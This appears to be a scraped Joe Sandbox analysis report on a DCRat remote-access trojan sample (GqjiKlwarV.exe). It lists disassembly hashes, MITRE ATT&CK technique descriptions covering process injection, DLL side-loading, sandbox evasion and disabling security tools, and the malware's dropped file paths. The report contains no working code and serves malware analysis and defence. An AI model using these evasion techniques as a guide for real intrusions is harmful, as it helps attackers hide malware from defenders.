Instruction ID: 2723c0623347c34e1a54068f2712c5dd4775c3df252f175fbf0f6015c84a3a37
Opcode Fuzzy Hash: c165572e2608ea73784ba25c5ae56e458af32c4b55017fa03682739e3fda53ba
Instruction Fuzzy Hash: 11319331A0D64E9FDB46EB64C8659B97BF0FF56300F0902BAC009D71B2DA28A944C751

Function 00007FFD9B790C25 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

U, xrefs: 00007FFD9B790C69

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: d7f18d0ed9652b704b0d38b7d67d4ff9b0b5ef5be225bfbd0f63e490344fd065
Instruction ID: 58627c319fd894e56fb759a97219cf7fc3908fd34cbacda8d87d6c24fcc735c2
Opcode Fuzzy Hash: d7f18d0ed9652b704b0d38b7d67d4ff9b0b5ef5be225bfbd0f63e490344fd065
Instruction Fuzzy Hash: BB210636B1D34E8FE312A7A898210EC7B60EF42321F1582B3D0188A1F7DE382646C791

Function 00007FFD9B790C40 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

U, xrefs: 00007FFD9B790C69

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 99ae501c647eceb10bce214a10590afa4544bc9f7255734865a00a914c2d4fca
Instruction ID: 1204915ce911b04ef9523ff89c0193941362cc1bacb18622a0b0e647905e6e44
Opcode Fuzzy Hash: 99ae501c647eceb10bce214a10590afa4544bc9f7255734865a00a914c2d4fca
Instruction Fuzzy Hash: C5018C35B1974D8FE712DBA488605EDBBB0EF42710F0642B7D444DB2A6DA3866498B90

Function 00007FFD9B790C48 Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

U, xrefs: 00007FFD9B790C69

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 6ebf4cf6d880645632a64d52b3797812daaeb74629cb068a06171da127295e76
Instruction ID: b5c73e04b10211d78b8ea641beafcedadee2f6fca0d997f365947ad69f543b83
Opcode Fuzzy Hash: 6ebf4cf6d880645632a64d52b3797812daaeb74629cb068a06171da127295e76
Instruction Fuzzy Hash: 4D017C35A1D38D9FD712DBA4C8505DDBBB0EF42710F1542F6D044DB2A6EA386645CB80

Function 00007FFD9B790C50 Relevance: 1.3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

Strings

U, xrefs: 00007FFD9B790C69

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 5a6b6269ee78262130fbd76e29e9bb058f76815eb38626369ea43bf3cf7eba30
Instruction ID: fa28290ae83eae87a2f4e35327e51904d87380624837d17bad057877f355f263
Opcode Fuzzy Hash: 5a6b6269ee78262130fbd76e29e9bb058f76815eb38626369ea43bf3cf7eba30
Instruction Fuzzy Hash: 5301A930E1E38D9FD712DBA088504ECBBB0EF02700F1542F2D004DB2AAEA386B44CB80

Function 00007FFD9B79090D Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b0a6822135964286c347acb43fc44fc50db530462b5f87af1dc575276b31b3
Instruction ID: c69dc00d3b6b10b5bee0b7545ebfc76fea4aae14a4364895367656f92ba25df3
Opcode Fuzzy Hash: f8b0a6822135964286c347acb43fc44fc50db530462b5f87af1dc575276b31b3
Instruction Fuzzy Hash: A2412816B5DA1D0EE358B7BC60A6AFD77C1DF54320B1445FAE00EC71FBDE18A8418684

Function 00007FFD9B790908 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3d7e5f302a88f8ec2398e6a7592314a031dcba88df827417dd45c6b7d3b22c7
Instruction ID: c9d365f7f913fd1d49b4bce1a736d5d78e76015c52a130fb673a36efd3d3fde3
Opcode Fuzzy Hash: c3d7e5f302a88f8ec2398e6a7592314a031dcba88df827417dd45c6b7d3b22c7
Instruction Fuzzy Hash: ED21D83130DD184FE768EA5CE88ADB973D1FB5932171501BAE58AC7136D911EC8287C1

Function 00007FFD9B790998 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 389d9810b0862552e5b8f8ff5de780afdb31451ce962b48d7521deb3b14fb59b
Instruction ID: 3dda9e770cf3f72cfaa0c21d460ec313cdc72abe5490dccbe586e83f8b39b71e
Opcode Fuzzy Hash: 389d9810b0862552e5b8f8ff5de780afdb31451ce962b48d7521deb3b14fb59b
Instruction Fuzzy Hash: FF21F925B29E1D0FE798EB6C94AA67972C6EB98311F5101F9E40EC33F7DD14AC418681

Function 00007FFD9B793784 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96df28d167b982491224ba8c85d821012683d211dcbaa85c9c96bc4e9d7f5fbf
Instruction ID: d7e3fc83fb13c81a9aa2b0e0fbb60a937bd6a598cc1fa51654535150719c2e82
Opcode Fuzzy Hash: 96df28d167b982491224ba8c85d821012683d211dcbaa85c9c96bc4e9d7f5fbf
Instruction Fuzzy Hash: 4021A561F1EA1E4FEB74E6688865AB972E1FF44710F1702B5D44ED32B2DE286E404750

Function 00007FFD9B792100 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e7c007d4218c83052ed47a2a40276ad422d621605afeb8fd4d2bef07db3df17
Instruction ID: f98367b1895b74241036db1cef70106cb5e679179234d190c93ba14d697f237e
Opcode Fuzzy Hash: 3e7c007d4218c83052ed47a2a40276ad422d621605afeb8fd4d2bef07db3df17
Instruction Fuzzy Hash: 9911B13194891D8FDB69EF44C894BA973B1FB58311F4541A9C44EE3260CF74AE94CF40

Function 00007FFD9B7938D6 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ec0038c26d3511513fa82159b8284403227168b3cc0407b85c6fa05cf11e9b8
Instruction ID: d2d73c6f9cc1364b6ffce66a38b77ea4f52c75858ed5e2c3d3b28c4744a3f3d8
Opcode Fuzzy Hash: 4ec0038c26d3511513fa82159b8284403227168b3cc0407b85c6fa05cf11e9b8
Instruction Fuzzy Hash: 8F018630E1951E8EEB75EA44C864AF8B3B0FF54711F1202B9C44ED32B1DE382E804A50

Function 00007FFD9B7938AC Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a60d3c688f2205fbab0aa357044644d21df5fae60a730ed0f22731f6337b9ba9
Instruction ID: dc456fdc2683d5bad6c1880722f46440ba84195d1860233a669e943473e6dbea
Opcode Fuzzy Hash: a60d3c688f2205fbab0aa357044644d21df5fae60a730ed0f22731f6337b9ba9
Instruction Fuzzy Hash: 18F05421F1D61E4AFA74EA44C864BB973A1EF54711F1303B9D84EE32F2DD286E814694

Function 00007FFD9B790B77 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b4e99d1b0b784cdb1f6fa5182d7459074232eb65c4bee8e57606b2eedc2eded
Instruction ID: 5a466db0bbe6e519cb2d067473363b6739cf14d5d6faa5908f82dce579f8873d
Opcode Fuzzy Hash: 5b4e99d1b0b784cdb1f6fa5182d7459074232eb65c4bee8e57606b2eedc2eded
Instruction Fuzzy Hash: 50E02231608A09CFCB01AF79CC944D17B90FB06718BEA11AED149C7231D2225929CB40

Function 00007FFD9B7928B8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cc0a0a6e5373b6c77a216f1cb87f8ca01772b3be4f89373622592f0eaf1d16f
Instruction ID: 102d3c4d0671e30bda25cda2eb1a8c93e6f6c0d20a7a7cf686180ba7624cb4dc
Opcode Fuzzy Hash: 9cc0a0a6e5373b6c77a216f1cb87f8ca01772b3be4f89373622592f0eaf1d16f
Instruction Fuzzy Hash: 00E09230F1A10E4BF7705694C4603B83264AF88310F1643B8C94E933F2CE286E118B05

Function 00007FFD9B7906A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 667587a7f9a2ad318d0e910124adee7c79ed5890f1a8cbffdc8fdcd5df4b6fa9
Instruction ID: 8b331a342966d8f16403dd316d354159f07f1bb3bcac0311a71fe358cf8cd672
Opcode Fuzzy Hash: 667587a7f9a2ad318d0e910124adee7c79ed5890f1a8cbffdc8fdcd5df4b6fa9
Instruction Fuzzy Hash: 26C04C06F6B71F01F47575EE54660ACB1405FD5E20FD70372D50E401F19D4E22D50156

Function 00007FFD9B7912E0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77ad4d031cf475bb47d04fe4c5aaf9db597bb29844311aba93be73394404c860
Instruction ID: acae123eec4b58ecebdb853c5f761521da3ec161f3f0ddfd8d3be8bdc47cc850
Opcode Fuzzy Hash: 77ad4d031cf475bb47d04fe4c5aaf9db597bb29844311aba93be73394404c860
Instruction Fuzzy Hash: 18C08C3452280C8FCA08EB2CC88480433A0FB09200BC20090E008C7170D619DCC1CB40

Function 00007FFD9B790B18 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e80f6b96130f5d7351ae104d3d6270a63f24a102d3fc2d6494240c327d15f15
Instruction ID: 255398b078cd987334c1c7a4da79f94729c4e633e8eefd254738429588c5940d
Opcode Fuzzy Hash: 4e80f6b96130f5d7351ae104d3d6270a63f24a102d3fc2d6494240c327d15f15
Instruction Fuzzy Hash: 4EC08C305158088FC904F72CC98480032A0FB0D210BC20290E00EC7174E21A9C90C744

Function 00007FFD9B7966AA Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0df338f4cc4d097587c393774cc4b58b96c0ef250c7cb0fa572f63d5bf7f004
Instruction ID: 6b9cacde967580600b73864abbdcf112ac9c3a4abc3fbeaf93efd71b8dcc87f1
Opcode Fuzzy Hash: c0df338f4cc4d097587c393774cc4b58b96c0ef250c7cb0fa572f63d5bf7f004
Instruction Fuzzy Hash: B7C08C00F19C1A06F31A2354083067E04464B44704F918174E00F923DEDC0C2F020282

Function 00007FFD9B7906C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df222be522c201a1275ca7ecf03bd2f1815817b6ce0967f16c8cf6fa3dfcd97a
Instruction ID: cefd4c74f4cbf42405a27be874168c57bd2a14cb5ec04dfe74c3b6330a2c3d31
Opcode Fuzzy Hash: df222be522c201a1275ca7ecf03bd2f1815817b6ce0967f16c8cf6fa3dfcd97a
Instruction Fuzzy Hash: 08B00205E6754F01E46435FA195606574505B45514FD612B0D80D501B5984D26951256

Function 00007FFD9B793379 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4131847919.00007FFD9B790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd9b790000_GqjiKlwarV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0822b35b37265702412871b4e8958697d1c63559cad97bac82256755db1dffb9
Instruction ID: e58bdf2061eb22af3861d2a452d89a1d70eb0951580cfc6d20fffeab853e15b3
Opcode Fuzzy Hash: 0822b35b37265702412871b4e8958697d1c63559cad97bac82256755db1dffb9
Instruction Fuzzy Hash: E1B01221E0A20D42F328A2E084600FF32521F54310F1B8333C40F2E4F5CC3C265052C0

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GqjiKlwarV.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: DCRat

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Recovery\6d22e1040d7195

C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe

C:\Recovery\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe:Zone.Identifier

C:\Users\user\6d22e1040d7195

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\GqjiKlwarV.exe.log

C:\Users\user\AppData\Local\Temp\Oo9wa5O04T.bat

C:\Users\user\AppData\Local\Temp\Q5SJmJQHCA

C:\Users\user\Desktop\bfc3b77465cebf

C:\Users\user\Music\6d22e1040d7195

C:\Users\user\Music\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe

C:\Users\user\Music\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe:Zone.Identifier

C:\Users\user\iJxsmBHcyGfLZzlDDalsxlnWSbGT.exe

Windows Analysis Report
GqjiKlwarV.exe